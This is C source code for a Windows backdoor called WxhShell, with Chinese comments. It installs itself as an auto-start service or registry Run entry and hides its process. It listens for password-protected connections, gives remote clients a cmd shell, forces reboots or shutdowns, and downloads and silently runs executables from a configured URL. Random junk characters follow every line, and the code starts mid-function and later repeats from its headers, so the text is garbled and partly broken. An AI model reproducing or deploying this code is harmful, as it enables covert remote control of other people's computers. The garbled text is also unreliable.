    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bAy\Sr #/  
    if(Boot(SHUTDOWN)) @%YbptT}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _'<FBlIN  
    else { ~)zxIO!  
    closesocket(wsh); P]OUzI,  
    ExitThread(0); %;|dEY  
    } 6{0MprY  
    break; TuaP  
    } V F b  
  // 获取shell r'lANl-v  
  case 's': { hm k ~  
    CmdShell(wsh); I*$-[3/  
    closesocket(wsh); WJ LqH<  
    ExitThread(0); $RunGaX!=N  
    break; TB=_r(:l+  
  } _Vf>>tuW  
  // 退出 >>"@ 0tO  
  case 'x': { l2YA/9.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u:6R|%1fNn  
    CloseIt(wsh); O%6D2d  
    break; !w@i,zqu  
    } 1o_6WU  
  // 离开 /{[p?7x>  
  case 'q': { iq^;csyKb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); atmW? Z  
    closesocket(wsh); SoHaGQox  
    WSACleanup(); dV16'  
    exit(1); XHOS"o$y  
    break; E@#<p-@~  
        } y~wr4Q=  
  } _ n1:v~  
  } 8j :=D!S  
]0[ot$Da6  
  // 提示信息 2;J\Z=7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]ms+ Va_/  
} I_kA!^  
  } ^4'!B +}F  
F?0Q AA  
  return; Mn<s9ITS-  
} >"|t*k S  
5tzO=gO[  
// shell模块句柄 jzZ]+'t  
int CmdShell(SOCKET sock) Cud!JpL  
{ m~fDDQs  
STARTUPINFO si; +Z86Qz_  
ZeroMemory(&si,sizeof(si)); #};Zgixo$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8V9OMOt!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yy&L&v'  
PROCESS_INFORMATION ProcessInfo; <[K)PI  
char cmdline[]="cmd"; a2kAZCQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N 7Y X  
  return 0; R,=8)OI2  
} (0.JoeA`y  
s.n:;8RibP  
// 自身启动模式 bD|"c  
int StartFromService(void) 9zrTf%m F  
{ wzJdS}Yy!y  
typedef struct Y6v#0pT  
{ IiE^HgM  
  DWORD ExitStatus; 25 :vc0  
  DWORD PebBaseAddress;  6pfkv2.}  
  DWORD AffinityMask; Y6d~hLC  
  DWORD BasePriority; E AKW^'D  
  ULONG UniqueProcessId; mFxt +\  
  ULONG InheritedFromUniqueProcessId; qPWf=s7!  
}   PROCESS_BASIC_INFORMATION; C8)Paop$  
-S&9"=v  
PROCNTQSIP NtQueryInformationProcess; 51H6 W/$  
m({ q<&]Qp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /C5py&#-I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0uPcEpIA  
lA;^c)  
  HANDLE             hProcess; 'zT7$ .L  
  PROCESS_BASIC_INFORMATION pbi; J^%E$ s  
4xg1[Z%:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v0tFU!Q%  
  if(NULL == hInst ) return 0; !?Y71:_!  
4;gw&sFF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qz%q#4Zb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pY&dw4V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Yl?s^]SFU  
0Js5 ' 9}H  
  if (!NtQueryInformationProcess) return 0; )1R[X!KQ7  
I,,SR"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LTH, a?lD  
  if(!hProcess) return 0; $=  2[Q  
SMRCG"3qwA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X%fLV(  
7^UY%t  
  CloseHandle(hProcess); >9#) obw  
^^tTA^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); },Grg~l  
if(hProcess==NULL) return 0; O&~ @ior  
,1JQjsR   
HMODULE hMod; Us pv^O9_  
char procName[255]; {)!ua7GF0H  
unsigned long cbNeeded; -49I3&  
bJR\d0Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B,Tv9(sv  
NiE`u m  
  CloseHandle(hProcess); |UQ [pas  
.W2w/RayC  
if(strstr(procName,"services")) return 1; // 以服务启动 OPqhdqo  
BC1smSlJ  
  return 0; // 注册表启动 `022gHYv  
} EQZ/v gho  
REi"Aj=  
// 主模块 |o(te  
int StartWxhshell(LPSTR lpCmdLine) dXsL0r*c  
{ s- 0Xt<  
  SOCKET wsl; e},:QL0X  
BOOL val=TRUE; Qx!Bf_,J  
  int port=0; wq1s#ag<  
  struct sockaddr_in door; i??+5o@uTF  
T<y fpUzX  
  if(wscfg.ws_autoins) Install(); `Jj b4]  
F* Yx1vj  
port=atoi(lpCmdLine); ) R\";{`M  
 z{V#_(  
if(port<=0) port=wscfg.ws_port; /6\uBy"Xt  
qxZf!NX5  
  WSADATA data; HAs/f#zAk6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JPj/+f  
a8k`Wog  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BZXee>3"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2@HmZ!|Q  
  door.sin_family = AF_INET; _)3C_G1!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zqI|VH  
  door.sin_port = htons(port); $,I@c"m{  
aSHN*tP%y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7.n\a@I/  
closesocket(wsl); [W <j  
return 1; PtL8Kd0`C  
} @KZW*-"  
Fy.!amXu  
  if(listen(wsl,2) == INVALID_SOCKET) { \]\GDpu[  
closesocket(wsl); "l#"c{ee{  
return 1; 7W&XcF  
} j^f54Ky.  
  Wxhshell(wsl); +9<:z\B|  
  WSACleanup(); vJx( lU`Y  
|^F$Ta  
return 0; ~rAcT6#  
f&] !;)  
} ^EmePkPI  
s,Fts3+  
// 以NT服务方式启动 QNXS.!\P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) * $1F|G  
{ X]GodqL\  
DWORD   status = 0; c+whpQ=01  
  DWORD   specificError = 0xfffffff; %Z*)<[cIE0  
$"0`2C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YXdo&'Q<qX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PVmePgF   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6IJ;od.\b$  
  serviceStatus.dwWin32ExitCode     = 0; cVmF'g  
  serviceStatus.dwServiceSpecificExitCode = 0; tWTC'Gx-J  
  serviceStatus.dwCheckPoint       = 0; .I^Y[_.G  
  serviceStatus.dwWaitHint       = 0; 3z"%ht~;  
'CG% PjCO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p}X *HJq$  
  if (hServiceStatusHandle==0) return; M}=fdH  
6_g6e2F  
status = GetLastError(); Ms+SJ5Lg  
  if (status!=NO_ERROR) V*@&<x"E  
{ <9;X1XtpI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r& :v(  
    serviceStatus.dwCheckPoint       = 0; KT*"Sbh  
    serviceStatus.dwWaitHint       = 0; .n?i' 8  
    serviceStatus.dwWin32ExitCode     = status; /7-FVqDx8  
    serviceStatus.dwServiceSpecificExitCode = specificError; {OS[0LB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `bd9N !K  
    return; /c7jL4oD  
  } O8LIKD_I[  
)|Ka'\xr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B!)Tytm9u  
  serviceStatus.dwCheckPoint       = 0; ZiaFByLy  
  serviceStatus.dwWaitHint       = 0; i&)OJy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KHeeB`V>J  
} U\[b qw  
)cm^;(#pV  
// 处理NT服务事件,比如:启动、停止 @?t+O'&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A "'h0D  
{ I.%EYAai  
switch(fdwControl) LftGA7uGJ)  
{ 3i9~'j;F3  
case SERVICE_CONTROL_STOP: W!* P  
  serviceStatus.dwWin32ExitCode = 0; A3.pz6iT>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JPg^h  
  serviceStatus.dwCheckPoint   = 0; (/i|3P  
  serviceStatus.dwWaitHint     = 0; un)PW&~E  
  { [ o 6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pM*( kN  
  } U.N& ~S  
  return; ]tmMk7  
case SERVICE_CONTROL_PAUSE: Pup%lO`.0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g$qM}#s0}  
  break; mdcsL~R  
case SERVICE_CONTROL_CONTINUE: ]qEg5:yY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !H6X%hlk  
  break; q 'uGB fE.  
case SERVICE_CONTROL_INTERROGATE: (Hs,Tj  
  break; y%<CkgZS  
}; s/P+?8'9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d?/>Qqw:#  
} "Sw raq  
0sF|Y%N  
// 标准应用程序主函数 z<9Llew^e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -NA2+].  
{ -<(RYMk*)  
"2PT]!  
// 获取操作系统版本 0*AXd=)"*  
OsIsNt=GetOsVer(); fC$@m_-KD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y6(= cm  
cV4Y= &  
  // 从命令行安装 9A9T'g)Du  
  if(strpbrk(lpCmdLine,"iI")) Install(); U7-*]ik  
F|8;Swb5  
  // 下载执行文件 @H}Hjg_>m  
if(wscfg.ws_downexe) { :kd]n$]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r5N H*\Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); ff00s+  
} !mUO/6Q hq  
pB7^l|\]  
if(!OsIsNt) {  eAG)+b  
// 如果时win9x,隐藏进程并且设置为注册表启动 QI78/gT,d  
HideProc(); ; {v2s;  
StartWxhshell(lpCmdLine); {*K$gH$  
} b|\dHi2F T  
else sFsf~|  
  if(StartFromService()) er3`ITp:dp  
  // 以服务方式启动 GH`y-Ul'K  
  StartServiceCtrlDispatcher(DispatchTable); B|'}HBkP  
else 0!tuUn  
  // 普通方式启动 T>J ,kh  
  StartWxhshell(lpCmdLine); 8O[l[5u&  
f85~[3 J  
return 0; E5Sn mxd  
} 1pjx8*!B  
%al 5 {  
^1_CS*  
%OP|%^2  
=========================================== c6SXz%'k  
<-,y0Y'  
'6L@l  
{uJ"%  
(^E5y,H<g  
`g0^ W/ j  
" ]EG8+K6  
d]N_<@tx9  
#include <stdio.h> +[4y)y`  
#include <string.h> 7U2B=]<e-  
#include <windows.h> N7YCg  
#include <winsock2.h> ^)C#  
#include <winsvc.h> :[0)Uu{  
#include <urlmon.h> 0Gu?;]GSv  
7xYz9r)w`  
#pragma comment (lib, "Ws2_32.lib") DfVJ~,x~  
#pragma comment (lib, "urlmon.lib") 5".bM8o  
($W%&(:/  
#define MAX_USER   100 // 最大客户端连接数 ^Y5I OX:  
#define BUF_SOCK   200 // sock buffer rmr :G  
#define KEY_BUFF   255 // 输入 buffer $xcZ{C  
{JF"PAS7  
#define REBOOT     0   // 重启 ^YB2E*  
#define SHUTDOWN   1   // 关机 IreY8.FND  
ai; Q,Vy  
#define DEF_PORT   5000 // 监听端口 .?LRt  
*xY3F8  
#define REG_LEN     16   // 注册表键长度 #)]/wqPoW  
#define SVC_LEN     80   // NT服务名长度 _x^rHADp  
gQJLqs"F  
// 从dll定义API E&5S[n9{3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); # z7yoP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S4-jFD)U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zQ<;3+*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dDD5OnWmJ  
{FS)f  
// wxhshell配置信息 =6'bGC%c  
struct WSCFG { r adP%W-U  
  int ws_port;         // 监听端口 "S*@._   
  char ws_passstr[REG_LEN]; // 口令 t1yOAbI  
  int ws_autoins;       // 安装标记, 1=yes 0=no KWAd~8,mk  
  char ws_regname[REG_LEN]; // 注册表键名 lnm@DWhf  
  char ws_svcname[REG_LEN]; // 服务名 =1'WZp}D5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .D\oKhV(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  :8==Bu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c\&;Xr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %[M0TE=J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `H$=hr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OE Xa}K#  
_VTpfeL@n  
}; =tP^vgfQ  
tE <?L  
// default Wxhshell configuration B([-GpZt[  
struct WSCFG wscfg={DEF_PORT, c_?^:xs:d  
    "xuhuanlingzhe", ^u1Nbo  
    1, kM&-t&7  
    "Wxhshell", %e3E}m>  
    "Wxhshell", *'aouS/?<6  
            "WxhShell Service", DS>&|zF5l  
    "Wrsky Windows CmdShell Service", O:pg+o&  
    "Please Input Your Password: ", `'k2gq&  
  1, NGkxg:  
  "http://www.wrsky.com/wxhshell.exe", pV;0Hcy  
  "Wxhshell.exe" +"bi]^\z  
    }; OLm@-I*  
S]~5iO_bst  
// 消息定义模块 qu dY9_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2FV@ ?x0po  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kv,!"<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `wU['{=  
char *msg_ws_ext="\n\rExit."; /c 7z[|  
char *msg_ws_end="\n\rQuit."; qSG0TWD!pq  
char *msg_ws_boot="\n\rReboot..."; z,7;+6*=L  
char *msg_ws_poff="\n\rShutdown..."; 0Q?%B6g$m[  
char *msg_ws_down="\n\rSave to "; ZH8w^}  
s/s&d pT*  
char *msg_ws_err="\n\rErr!"; Kg2Du'WQ^  
char *msg_ws_ok="\n\rOK!"; Dj'?12Onu=  
5U4V_*V  
char ExeFile[MAX_PATH]; N5ZO pRH{  
int nUser = 0; \[.qN  
HANDLE handles[MAX_USER]; ",Vx.LV  
int OsIsNt; <eS/-W %n6  
&GJVFr~z  
SERVICE_STATUS       serviceStatus; Kg"eS`-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &FT`z"^  
i8-Y,&>V  
// 函数声明 _@[W[= |H  
int Install(void); "J2q|@.  
int Uninstall(void); YM'4=BlJHv  
int DownloadFile(char *sURL, SOCKET wsh); x9a\~XL>a  
int Boot(int flag); #OM)71kB8  
void HideProc(void); ~ss6yQ$  
int GetOsVer(void); qGEp 6b H  
int Wxhshell(SOCKET wsl); W|2|v?v  
void TalkWithClient(void *cs); II.: k.D`  
int CmdShell(SOCKET sock); CM++:Y vJ  
int StartFromService(void); *?HoN;^  
int StartWxhshell(LPSTR lpCmdLine); `67i1w`  
Wkjp:`(-$r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~+Pe=~a[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Tq?Ai_  
;DYS1vGo  
// 数据结构和表定义 NFx%e  
SERVICE_TABLE_ENTRY DispatchTable[] = g)r{LxT#+  
{ {cIk-nG -_  
{wscfg.ws_svcname, NTServiceMain}, Ry]9n.y  
{NULL, NULL} tcv(<0  
}; 0 D '^:  
#Pf<2S  
// 自我安装 c!7WRHJE_a  
int Install(void) 4OgH+<G  
{ 0!0e$!8l  
  char svExeFile[MAX_PATH]; *PL&CDu=)  
  HKEY key; !3k-' ),z&  
  strcpy(svExeFile,ExeFile); Fb%?qaLmCv  
`Ng Q>KV!  
// 如果是win9x系统,修改注册表设为自启动 2z;3NUL$n  
if(!OsIsNt) { 5=|h~/.k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y)5O %@Rl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C5I7\9F)  
  RegCloseKey(key); ,&S0/j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `VO;\s$5j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W$NFk(  
  RegCloseKey(key); YARL/V  
  return 0; (Q% @]  
    } 5!qf{4j  
  } *#Ia8^z=p  
} K2xHXziQ  
else { 2 A!*8w  
HB5-B XBU  
// 如果是NT以上系统,安装为系统服务 <Y?Z&rNb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8&"Jlz |  
if (schSCManager!=0) d!R+-Fp  
{ i) X~L4gn  
  SC_HANDLE schService = CreateService dG5jhkPX  
  ( cRrJZ9  
  schSCManager, 'ZMh<M[  
  wscfg.ws_svcname, DAWF =p]  
  wscfg.ws_svcdisp, JXe~ 9/!  
  SERVICE_ALL_ACCESS, L@AFt)U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A~a 3bCX+"  
  SERVICE_AUTO_START, 54>0Dv??H  
  SERVICE_ERROR_NORMAL, @U5gxK*  
  svExeFile, W& 0R/y7  
  NULL, ;2`6eyr  
  NULL, s a o&  
  NULL, 8o%Vn'^t  
  NULL, `+\$  
  NULL {*GBUv5  
  ); v(.mM9>  
  if (schService!=0) ,s 3|  
  { GyQFR?  
  CloseServiceHandle(schService); ^"?a)KC  
  CloseServiceHandle(schSCManager); q%kCTw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >_yL@^  
  strcat(svExeFile,wscfg.ws_svcname); Y"8@\73(R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (b#M4ho*f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zMP6hn  
  RegCloseKey(key); c{y'&3\  
  return 0; er3~gm  
    } wQy~5+LE  
  } j`.&4.7+  
  CloseServiceHandle(schSCManager); }WC[ <AqI  
} _%2ukuJ `  
} |Vz)!M  
hfY/)-60o  
return 1; X(BxC<!D.  
} o}KVT%}  
t.;._'  
// 自我卸载 SQK82 /  
int Uninstall(void) d<j`=QH  
{ fG>3gS6&  
  HKEY key; _4Eq_w`  
J{\Uw].|0  
if(!OsIsNt) { J  Y8Rk=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { de W1>yh^_  
  RegDeleteValue(key,wscfg.ws_regname); 8o|C43Q_  
  RegCloseKey(key); WIi,`/K+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PV~D;  
  RegDeleteValue(key,wscfg.ws_regname); $)ka1L"N  
  RegCloseKey(key); (y!bvp[" m  
  return 0; 7=?!B#hm !  
  } @,sjM]  
} `W)?d I?#M  
} i,;eW&  
else { MFa/%O_*  
\)uA:v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L{jx'[C  
if (schSCManager!=0) hE=xS:6  
{ -( p%+`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]}b  
  if (schService!=0) r?[[.zm"7  
  { dYD;Z<l  
  if(DeleteService(schService)!=0) { zL+t&P[\  
  CloseServiceHandle(schService); $dI mA  
  CloseServiceHandle(schSCManager); 084Us s  
  return 0; H0"'jd  
  } 1HNP@9ga  
  CloseServiceHandle(schService); 3\P*"65  
  } 9VTAs:0D=  
  CloseServiceHandle(schSCManager); &':C"_|&r  
} -V4{tIQY  
} MQw}R7  
E]n]_{BN]  
return 1; !?ZR_=Y%  
} :X}SuM ?c  
/hqn>t  
// 从指定url下载文件 Fl($0}ER  
int DownloadFile(char *sURL, SOCKET wsh) %.`u2'^  
{ p({@t=L3g  
  HRESULT hr; V]J"v#!{  
char seps[]= "/"; xva e^gr  
char *token; 1o\2\B=k{  
char *file; z6J12tu  
char myURL[MAX_PATH]; *V:U\G  
char myFILE[MAX_PATH]; 4t =Kt  
6|q"lS*$S  
strcpy(myURL,sURL); &D[M<7T  
  token=strtok(myURL,seps); fgL"\d}  
  while(token!=NULL) .?3ro Q  
  {  \H>T[  
    file=token; _I;hM  
  token=strtok(NULL,seps); Ww8U{f  
  } #FAW@6QG  
f@ |[pT  
GetCurrentDirectory(MAX_PATH,myFILE); #y#TEw,  
strcat(myFILE, "\\"); v7@"9Uw}  
strcat(myFILE, file); ] +%`WCr9  
  send(wsh,myFILE,strlen(myFILE),0); NVkYm+J#  
send(wsh,"...",3,0); k0I$x:c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0B9FPpx?:  
  if(hr==S_OK) -a_qZ7  
return 0; 8iD7K@  
else a'Cny((  
return 1; r]xN&Ne5Q  
XN t` 4$L  
} 8g{Mv#b%  
@Yb8CB  
// 系统电源模块 V}<<?_  
int Boot(int flag) 3)>re&  
{ NMw5ixl  
  HANDLE hToken; y=\&z&3$  
  TOKEN_PRIVILEGES tkp; mp sX4  
AFsieJ  
  if(OsIsNt) { z"7?I$N Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BR@gJ(2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Kk=>"?&  
    tkp.PrivilegeCount = 1; tOnOzD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +fozE?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GBg  
if(flag==REBOOT) { (L4C1h_]9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3nhQ^zqf  
  return 0; J:uFQWxZ   
} `xv Uq\  
else { zBTxM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -u~:Gd*l0  
  return 0; V3*@n*"N;  
} *dB3Gu{ +  
  } |I"&Z+m  
  else { U%1M?vT/  
if(flag==REBOOT) { {s*1QBM$\Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kd&~_=Q  
  return 0; :SN?t  
} 0#yH<h$   
else { G~&q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ; 1?L  
  return 0; !F6rcDKI  
} >W/mRv&  
} g] IPNW^n  
'dQGb-<_<  
return 1; DD7D&@As  
} 1$ }Tn  
OS L~a_  
// win9x进程隐藏模块 ;/23CFYM  
void HideProc(void) s&WE'  
{ tQxAZ0B^  
th"Aatmp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V.Lk70 \  
  if ( hKernel != NULL ) H,/ =<Th;i  
  { J~ @W":v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4yMi9Ri4H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Mp5Z=2l5  
    FreeLibrary(hKernel); ZZxt90YR'5  
  } p*zTuB~e<  
==KDr 0|G  
return; E7SmiD@)  
} c2gZ<[~  
V+})$m*>  
// 获取操作系统版本 (S=CxK  
int GetOsVer(void) tC+1 1M  
{ j6*e^ B  
  OSVERSIONINFO winfo; lYm00v6y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Kx;la  
  GetVersionEx(&winfo); U; #v-'Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FVOPC:}bj  
  return 1; +WxD=|p;  
  else sA"B/C|(g  
  return 0; (G>g0(;D-  
} -Y"2c,~pH  
ncR]@8  
// 客户端句柄模块 >IKIe  
int Wxhshell(SOCKET wsl) 1NN#-U  
{ 8js1m55KT  
  SOCKET wsh; '2p,0Bk9i  
  struct sockaddr_in client; xiC.M6/  
  DWORD myID; @C~gU@F  
)4GCL(&  
  while(nUser<MAX_USER) b u/GaE~  
{ >ISBK[=H  
  int nSize=sizeof(client); *@ S+J$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dP/1E6*m  
  if(wsh==INVALID_SOCKET) return 1; =#I/x=L:  
z_$F)*PL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r;zG  
if(handles[nUser]==0) `y&2Bf  
  closesocket(wsh); Q\le3KB  
else &X}i%etp^2  
  nUser++; Lnltt86  
  } }K 2fwE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F{m?:A  
7t% |s!~  
  return 0; e yByAT~W,  
} ZlL]AD@  
(;nh?"5  
// 关闭 socket 0{47TX*YX  
void CloseIt(SOCKET wsh) yzL6oU-{&  
{ *b(nX,e  
closesocket(wsh); y>JSo9[@  
nUser--; Ij7[2V]c  
ExitThread(0); 8SO(pw9  
} E*UE?4FSw|  
;c#jO:A5  
// 客户端请求句柄 jH2_Ekgc;_  
void TalkWithClient(void *cs) oMb@)7  
{ 843O}v'  
zhC5%R &n/  
  SOCKET wsh=(SOCKET)cs; 7MwS[N%#  
  char pwd[SVC_LEN]; 3ZL<6`YF  
  char cmd[KEY_BUFF]; 6"U$H$i.G  
char chr[1]; lD1m<AC  
int i,j; z~RE}k  
z7]GZF  
  while (nUser < MAX_USER) { Jw -3G3h  
~:"//%M3l  
if(wscfg.ws_passstr) { ;Z-%'5hKM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $x q$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D'\gy$9m1  
  //ZeroMemory(pwd,KEY_BUFF); zXv2plw(  
      i=0; *~jTE;J  
  while(i<SVC_LEN) { @A8@j%CK1  
#HmZe98[%  
  // 设置超时 "|d# +C  
  fd_set FdRead; N|  
  struct timeval TimeOut; y3@5~4+  
  FD_ZERO(&FdRead); !,JV<( 7k  
  FD_SET(wsh,&FdRead); 7) Qq  
  TimeOut.tv_sec=8; yey]#M[y  
  TimeOut.tv_usec=0; KWi P`h8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sH+ 90|?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #b$qtp!,  
I*l y 7z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g,}_&+q:.M  
  pwd=chr[0]; ix_&<?8  
  if(chr[0]==0xd || chr[0]==0xa) { .%+y_.l  
  pwd=0; YaAOP'p  
  break; %<^j=K= 0  
  } D` 2w>{Y  
  i++; CsiRM8  
    } T3h1eU  
v8 pOA<s  
  // 如果是非法用户,关闭 socket DN;3VT.-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $9?<mP2-*  
} @ x5LrQ_`r  
dc,qQM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D7v_ <  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mk!bmFZOZ  
ygYy [IZ  
while(1) { -qdt$jIM  
?OVje9  
  ZeroMemory(cmd,KEY_BUFF); z2[{3Kd*  
o4nDjFhh  
      // 自动支持客户端 telnet标准   g,s^qW0vds  
  j=0; HlraOp+  
  while(j<KEY_BUFF) { WGHf?G/s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F $1f8U8  
  cmd[j]=chr[0]; Yp EH(tq  
  if(chr[0]==0xa || chr[0]==0xd) { 5Tq*]Z E  
  cmd[j]=0; W}M 3z  
  break; (ty&$  
  } dK>sHUu  
  j++; C{OkbE"Vym  
    } QVo>Uit   
du_~P"[  
  // 下载文件 >Et~h65d5  
  if(strstr(cmd,"http://")) { . :~E.b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |G/W S0  
  if(DownloadFile(cmd,wsh)) w$"^)E G,7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D 3Tqk^5  
  else in`|.#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5:(/k\9+yv  
  } q1Mt5O}  
  else { 7QRkXs  
lcK4 Uq\q  
